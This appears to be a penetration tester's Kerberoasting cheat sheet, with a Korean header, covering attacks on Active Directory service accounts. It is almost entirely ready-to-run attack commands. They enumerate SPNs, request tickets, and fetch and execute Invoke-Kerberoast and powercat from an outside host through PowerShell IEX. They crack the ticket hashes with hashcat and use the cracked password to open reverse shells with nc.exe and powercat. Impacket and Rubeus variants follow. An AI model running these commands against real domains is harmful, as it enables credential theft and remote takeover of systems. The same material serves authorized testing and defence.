설명

공격

Get-SPN.ps1 (Shell but no password)

<aside>

Get-SPN.ps1

# <https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1>
# Source / credit:
# <https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx>

cls
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"

## You can use this to filter for OU's:
## $results = $search.Findall() | ?{ $_.path -like '*OU=whatever,DC=whatever,DC=whatever*' }
$results = $search.Findall()

foreach( $result in $results ) {
	$userEntry = $result.GetDirectoryEntry()
	Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
	Write-host "DN      =      "  $userEntry.distinguishedName
	Write-host "Object Cat. = "  $userEntry.objectCategory
	Write-host "servicePrincipalNames"

	$i=1
	foreach( $SPN in $userEntry.servicePrincipalName ) {
		Write-host "SPN(" $i ")   =      " $SPN
		$i+=1
	}
	Write-host ""
}

Requesting the Ticket

Request and store the ticket in the memory

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.test.local'

Invoke-Kerberoast.ps1

wget <https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1>

iex(new-object net.webclient).downloadString('<http://192.168.49.211:80/Invoke-Kerberoast.ps1>'); Invoke-Kerberoast -OutputFormat Hashcat

Crack the hash

hashcat -m 13100 --force -a 0 svc_mssql.kerberoast /usr/share/wordlists/rockyou.txt

Log in with the cracked credentials

PS> import-module ./Invoke-RunasCs.ps1
PS> Invoke-RunasCs -Username svc_mssql -Password password123 -Command "whoami"
PS> Invoke-RunasCs -Username svc_mssql -Password password123 -Command "c:/Users/Public/nc.exe $IP 443 -e cmd.exe"
PS> Invoke-RunasCs -Username svc_mssql -Password password123 -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('<http://192.168.49.211/powercat.ps1>');powercat -c $IP -p 443 -e cmd.exe"

</aside>

Linux - impacket-GetUserSPNs

# Listing SPN Accounts
impacket-GetUserSPNs -dc-ip $DC_IP [domain]/[username]

# Requesting all TGS Tickets
impacket-GetUserSPNs [domain]/[username]:[password] -dc-ip $DC_IP -request -outputfile hashes.txt

# Requesting a Single TGS Ticket
impacket-GetUserSPNs [domain]/[username]:[password] -dc-ip $DC_IP -request-user [user]

# With NT Hash
impacket-GetUserSPNs [domain]/[username] -hashes [LMHASH:NTHASH] -request -dc-ip $DC_IP -outputfile hashes.txt

# Hash cracking
hashcat -m 13100 -a 0 [hash] [wordlist]

Windows - Built-In, PowerView, Rubeus

# Built-in - Focus on entries where the backing object is a user, not a computer ($)
setspn.exe -Q */*

# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname

# Rubeus
rubeus.exe kerberoast /stats
rubeus.exe kerberoast /nowrap
hashcat -m 13100 -a 0 [hash] [wordlist]